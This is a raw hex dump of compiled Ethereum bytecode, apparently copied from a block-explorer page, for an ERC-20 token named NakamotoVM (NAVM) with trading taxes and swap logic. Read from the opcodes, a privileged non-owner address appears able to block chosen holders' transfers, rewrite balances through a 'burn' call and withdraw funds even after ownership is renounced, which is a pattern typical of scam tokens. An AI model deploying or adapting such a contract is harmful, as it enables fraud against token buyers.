e565b60405180910390fd5b600061142b610c3e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114995750611469610c3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a2d5760006007541180156114b1575060075443115b156114c0576114bf84612192565b5b6114fd60646114ef600d5460105410156114dc576009546114e0565b600b545b8561228990919063ffffffff16565b61230390919063ffffffff16565b9050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115aa5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117715743600754036116a857600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611644576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163b9061306a565b60405180910390fd5b6009600a61165291906131bd565b6301312d006116619190613208565b8211156116a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169a90613296565b60405180910390fd5b611770565b6013548211156116ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e490613302565b60405180910390fd5b601454826116fa85610a76565b6117049190613322565b1115611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c906133a2565b60405180910390fd5b4360016007546117559190613322565b111561176f576117648361234d565b1561176e57600080fd5b5b5b5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118195750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611877576014548261182b85610a76565b6118359190613322565b1115611876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186d906133a2565b60405180910390fd5b5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561190057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611944576119416064611933600e546010541161192057600a54611924565b600c545b8561228990919063ffffffff16565b61230390919063ffffffff16565b90505b600061194f30610a76565b9050601a60149054906101000a900460ff161580156119bb5750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119d35750601a60159054906101000a900460ff165b80156119e0575060165481115b80156119ef5750600f54601054115b15611a2b57611a11611a0c84611a0784601554612360565b612360565b611f19565b60004790506000811115611a2957611a2847612379565b5b505b505b6000811115611b3157611a8881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b2891906126cf565b60405180910390a35b611b8382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2a611bdc828461244390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611ccf848661244390919063ffffffff16565b604051611cdc91906126cf565b60405180910390a350505050565b6000838311158290611d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d299190612580565b60405180910390fd5b5060008385611d4191906133c2565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db490613468565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b906134fa565b60405180910390fd5b81601754611e5291906133c2565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160086000828254611ea791906133c2565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f0c91906126cf565b60405180910390a3505050565b6001601a60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f5157611f506127a5565b5b604051908082528060200260200182016040528015611f7f5781602001602082028036833780820191505090505b5090503081600081518110611f9757611f96612bc6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561203e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612062919061352f565b8160018151811061207657612075612bc6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120dd30601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611137565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612141959493929190613655565b600060405180830381600087803b15801561215b57600080fd5b505af115801561216f573d6000803e3d6000fd5b50505050506000601a60146101000a81548160ff02191690831515021790555050565b601254601381905550601254601481905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561224d57600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661224c57600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60085460405161227e91906126cf565b60405180910390a150565b600080830361229b57600090506122fd565b600082846122a99190613208565b90508284826122b891906136de565b146122f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ef90613781565b60405180910390fd5b809150505b92915050565b600061234583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061248d565b905092915050565b600080823b905060008111915050919050565b600081831161236f5782612371565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123e1573d6000803e3d6000fd5b5050565b60008082846123f49190613322565b905083811015612439576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612430906137ed565b60405180910390fd5b8091505092915050565b600061248583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cea565b905092915050565b600080831182906124d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124cb9190612580565b60405180910390fd5b50600083856124e391906136de565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561252a57808201518184015260208101905061250f565b60008484015250505050565b6000601f19601f8301169050919050565b6000612552826124f0565b61255c81856124fb565b935061256c81856020860161250c565b61257581612536565b840191505092915050565b6000602082019050818103600083015261259a8184612547565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125e1826125b6565b9050919050565b6125f1816125d6565b81146125fc57600080fd5b50565b60008135905061260e816125e8565b92915050565b6000819050919050565b61262781612614565b811461263257600080fd5b50565b6000813590506126448161261e565b92915050565b60008060408385031215612661576126606125ac565b5b600061266f858286016125ff565b925050602061268085828601612635565b9150509250929050565b60008115159050919050565b61269f8161268a565b82525050565b60006020820190506126ba6000830184612696565b92915050565b6126c981612614565b82525050565b60006020820190506126e460008301846126c0565b92915050565b600080600060608486031215612703576127026125ac565b5b6000612711868287016125ff565b9350506020612722868287016125ff565b925050604061273386828701612635565b9150509250925092565b600060ff82169050919050565b6127538161273d565b82525050565b600060208201905061276e600083018461274a565b92915050565b61277d8161268a565b811461278857600080fd5b50565b60008135905061279a81612774565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6127dd82612536565b810181811067ffffffffffffffff821117156127fc576127fb6127a5565b5b80604052505050565b600061280f6125a2565b905061281b82826127d4565b919050565b600067ffffffffffffffff82111561283b5761283a6127a5565b5b602082029050602081019050919050565b600080fd5b600061286461285f84612820565b612805565b905080838252602082019050602084028301858111156128875761288661284c565b5b835b818110156128b0578061289c88826125ff565b845260208401935050602081019050612889565b5050509392505050565b600082601f8301126128cf576128ce6127a0565b5b81356128df848260208601612851565b91505092915050565b600080604083850312156128ff576128fe6125ac565b5b600061290d8582860161278b565b925050602083013567ffffffffffffffff81111561292e5761292d6125b1565b5b61293a858286016128ba565b9150509250929050565b60006020828403121561295a576129596125ac565b5b6000612968848285016125ff565b91505092915050565b6000819050919050565b600061299661299161298c846125b6565b612971565b6125b6565b9050919050565b60006129a88261297b565b9050919050565b60006129ba8261299d565b9050919050565b6129ca816129af565b82525050565b60006020820190506129e560008301846129c1565b92915050565b6129f4816125d6565b82525050565b6000602082019050612a0f60008301846129eb565b92915050565b600060208284031215612a2b57612a2a6125ac565b5b6000612a3984828501612635565b91505092915050565b60008060408385031215612a5957612a586125ac565b5b6000612a67858286016125ff565b9250506020612a78858286016125ff565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ab86020836124fb565b9150612ac382612a82565b602082019050919050565b60006020820190508181036000830152612ae781612aab565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612b24601f836124fb565b9150612b2f82612aee565b602082019050919050565b60006020820190508181036000830152612b5381612b17565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612b90601b836124fb565b9150612b9b82612b5a565b602082019050919050565b60006020820190508181036000830152612bbf81612b83565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c2f82612614565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612c6157612c60612bf5565b5b600182019050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ca2600c836124fb565b9150612cad82612c6c565b602082019050919050565b60006020820190508181036000830152612cd181612c95565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d0e6017836124fb565b9150612d1982612cd8565b602082019050919050565b60006020820190508181036000830152612d3d81612d01565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612da06024836124fb565b9150612dab82612d44565b604082019050919050565b60006020820190508181036000830152612dcf81612d93565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e326022836124fb565b9150612e3d82612dd6565b604082019050919050565b60006020820190508181036000830152612e6181612e25565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612ec46025836124fb565b9150612ecf82612e68565b604082019050919050565b60006020820190508181036000830152612ef381612eb7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f566023836124fb565b9150612f6182612efa565b604082019050919050565b60006020820190508181036000830152612f8581612f49565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fe86029836124fb565b9150612ff382612f8c565b604082019050919050565b6000602082019050818103600083015261301781612fdb565b9050919050565b7f43616e27742062757920696e2074686520666972737420626c6f636b00000000600082015250565b6000613054601c836124fb565b915061305f8261301e565b602082019050919050565b6000602082019050818103600083015261308381613047565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156130e1578086048111156130bd576130bc612bf5565b5b60018516156130cc5780820291505b80810290506130da8561308a565b94506130a1565b94509492505050565b6000826130fa57600190506131b6565b8161310857600090506131b6565b816001811461311e576002811461312857613157565b60019150506131b6565b60ff84111561313a57613139612bf5565b5b8360020a91508482111561315157613150612bf5565b5b506131b6565b5060208310610133831016604e8410600b841016171561318c5782820a90508381111561318757613186612bf5565b5b6131b6565b6131998484846001613097565b925090508184048111156131b0576131af612bf5565b5b81810290505b9392505050565b60006131c882612614565b91506131d38361273d565b92506132007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846130ea565b905092915050565b600061321382612614565b915061321e83612614565b925082820261322c81612614565b9150828204841483151761324357613242612bf5565b5b5092915050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613280601a836124fb565b915061328b8261324a565b602082019050919050565b600060208201905081810360008301526132af81613273565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b60006132ec6018836124fb565b91506132f7826132b6565b602082019050919050565b6000602082019050818103600083015261331b816132df565b9050919050565b600061332d82612614565b915061333883612614565b92508282019050808211156133505761334f612bf5565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061338c601a836124fb565b915061339782613356565b602082019050919050565b600060208201905081810360008301526133bb8161337f565b9050919050565b60006133cd82612614565b91506133d883612614565b92508282039050818111156133f0576133ef612bf5565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006134526021836124fb565b915061345d826133f6565b604082019050919050565b6000602082019050818103600083015261348181613445565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006134e46022836124fb565b91506134ef82613488565b604082019050919050565b60006020820190508181036000830152613513816134d7565b9050919050565b600081519050613529816125e8565b92915050565b600060208284031215613545576135446125ac565b5b60006135538482850161351a565b91505092915050565b6000819050919050565b600061358161357c6135778461355c565b612971565b612614565b9050919050565b61359181613566565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135cc816125d6565b82525050565b60006135de83836135c3565b60208301905092915050565b6000602082019050919050565b600061360282613597565b61360c81856135a2565b9350613617836135b3565b8060005b8381101561364857815161362f88826135d2565b975061363a836135ea565b92505060018101905061361b565b5085935050505092915050565b600060a08201905061366a60008301886126c0565b6136776020830187613588565b818103604083015261368981866135f7565b905061369860608301856129eb565b6136a560808301846126c0565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136e982612614565b91506136f483612614565b925082613704576137036136af565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061376b6021836124fb565b91506137768261370f565b604082019050919050565b6000602082019050818103600083015261379a8161375e565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006137d7601b836124fb565b91506137e2826137a1565b602082019050919050565b60006020820190508181036000830152613806816137ca565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c466b0c098bb2771eaad49d380a93531a87c50d79aca6ec15bde174d935312b64736f6c63430008130033000000000000000000000000b2dd6b9ff839972fa1f52848773a6f70b6e10ceb

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063bf474bed1161008a578063dd62ed3e11610064578063dd62ed3e146105d3578063e1b1925814610610578063e9481eee1461063b578063ffb54a9914610678576101c2565b8063bf474bed14610568578063c2b7bbb614610593578063c9567bf9146105bc576101c2565b80639dc29fac116100c65780639dc29fac146104ae578063a9059cbb146104d7578063b70143c914610514578063baeb7a7d1461053d576101c2565b80638da5cb5b1461042d5780638f9a55c01461045857806395d89b4114610483576101c2565b80633ccfd60b1161015957806370a082311161013357806370a0823114610383578063715018a6146103c05780637d1db4a5146103d75780638bdb2afa14610402576101c2565b80633ccfd60b146103185780633ef947211461032f578063704da6781461035a576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd14610285578063313ce567146102c25780633b7cdccd146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630faee56f1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106a3565b6040516101e99190612580565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061264a565b6106e0565b60405161022691906126a5565b60405180910390f35b34801561023b57600080fd5b506102446106fe565b60405161025191906126cf565b60405180910390f35b34801561026657600080fd5b5061026f610704565b60405161027c91906126cf565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a791906126ea565b61070e565b6040516102b991906126a5565b60405180910390f35b3480156102ce57600080fd5b506102d76107e7565b6040516102e49190612759565b60405180910390f35b3480156102f957600080fd5b506103026107f0565b60405161030f91906126cf565b60405180910390f35b34801561032457600080fd5b5061032d6107f6565b005b34801561033b57600080fd5b50610344610974565b60405161035191906126cf565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c91906128e8565b61097a565b005b34801561038f57600080fd5b506103aa60048036038101906103a59190612944565b610a76565b6040516103b791906126cf565b60405180910390f35b3480156103cc57600080fd5b506103d5610abf565b005b3480156103e357600080fd5b506103ec610c12565b6040516103f991906126cf565b60405180910390f35b34801561040e57600080fd5b50610417610c18565b60405161042491906129d0565b60405180910390f35b34801561043957600080fd5b50610442610c3e565b60405161044f91906129fa565b60405180910390f35b34801561046457600080fd5b5061046d610c67565b60405161047a91906126cf565b60405180910390f35b34801561048f57600080fd5b50610498610c6d565b6040516104a59190612580565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d0919061264a565b610caa565b005b3480156104e357600080fd5b506104fe60048036038101906104f9919061264a565b610d19565b60405161050b91906126a5565b60405180910390f35b34801561052057600080fd5b5061053b60048036038101906105369190612a15565b610d37565b005b34801561054957600080fd5b50610552610e64565b60405161055f91906126cf565b60405180910390f35b34801561057457600080fd5b5061057d610e6a565b60405161058a91906126cf565b60405180910390f35b34801561059f57600080fd5b506105ba60048036038101906105b59190612944565b610e70565b005b3480156105c857600080fd5b506105d1610f15565b005b3480156105df57600080fd5b506105fa60048036038101906105f59190612a42565b611039565b60405161060791906126cf565b60405180910390f35b34801561061c57600080fd5b506106256110c0565b60405161063291906126cf565b60405180910390f35b34801561064757600080fd5b50610662600480360381019061065d9190612944565b6110c6565b60405161066f91906126a5565b60405180910390f35b34801561068457600080fd5b5061068d61111c565b60405161069a91906126a5565b60405180910390f35b60606040518060400160405280600a81526020017f4e616b616d6f746f564d00000000000000000000000000000000000000000000815250905090565b60006106f46106ed61112f565b8484611137565b6001905092915050565b60155481565b6000600854905090565b600061071b848484611300565b6107dc8461072761112f565b6107d78560405180606001604052806028815260200161380e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078d61112f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cea9092919063ffffffff16565b611137565b600190509392505050565b60006009905090565b60095481565b6107fe61112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088290612ace565b60405180910390fd5b601a60169054906101000a900460ff16156108db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d290612b3a565b60405180910390fd5b600047905060008111610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a90612ba6565b60405180910390fd5b61092b610c3e565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610970573d6000803e3d6000fd5b5050565b600c5481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109bb61112f565b73ffffffffffffffffffffffffffffffffffffffff16146109db57600080fd5b60005b8151811015610a715760008282815181106109fc576109fb612bc6565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508180610a6890612c24565b925050506109de565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ac761112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b90612ace565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606040518060400160405280600481526020017f4e41564d00000000000000000000000000000000000000000000000000000000815250905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ceb61112f565b73ffffffffffffffffffffffffffffffffffffffff1614610d0b57600080fd5b610d158282611d4e565b5050565b6000610d2d610d2661112f565b8484611300565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7861112f565b73ffffffffffffffffffffffffffffffffffffffff1614610d9857600080fd5b610da130610a76565b8111158015610db05750600081115b610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de690612cb8565b60405180910390fd5b610df881611f19565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e60573d6000803e3d6000fd5b5050565b600b5481565b60165481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb161112f565b73ffffffffffffffffffffffffffffffffffffffff1614610ed157600080fd5b80601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f1d61112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa190612ace565b60405180910390fd5b601a60169054906101000a900460ff1615610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612d24565b60405180910390fd5b6001601a60156101000a81548160ff0219169083151502179055506001601a60166101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601a60169054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612db6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612e48565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f391906126cf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612eda565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d590612f6c565b60405180910390fd5b60008111611421576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141890612ffe565b60405180910390fd5b600061142b610c3e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114995750611469610c3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a2d5760006007541180156114b1575060075443115b156114c0576114bf84612192565b5b6114fd60646114ef600d5460105410156114dc576009546114e0565b600b545b8561228990919063ffffffff16565b61230390919063ffffffff16565b9050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115aa5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117715743600754036116a857600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611644576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163b9061306a565b60405180910390fd5b6009600a61165291906131bd565b6301312d006116619190613208565b8211156116a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169a90613296565b60405180910390fd5b611770565b6013548211156116ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e490613302565b60405180910390fd5b601454826116fa85610a76565b6117049190613322565b1115611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c906133a2565b60405180910390fd5b4360016007546117559190613322565b111561176f576117648361234d565b1561176e57600080fd5b5b5b5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118195750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611877576014548261182b85610a76565b6118359190613322565b1115611876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186d906133a2565b60405180910390fd5b5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561190057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611944576119416064611933600e546010541161192057600a54611924565b600c545b8561228990919063ffffffff16565b61230390919063ffffffff16565b90505b600061194f30610a76565b9050601a60149054906101000a900460ff161580156119bb5750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119d35750601a60159054906101000a900460ff165b80156119e0575060165481115b80156119ef5750600f54601054115b15611a2b57611a11611a0c84611a0784601554612360565b612360565b611f19565b60004790506000811115611a2957611a2847612379565b5b505b505b6000811115611b3157611a8881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b2891906126cf565b60405180910390a35b611b8382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2a611bdc828461244390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a1162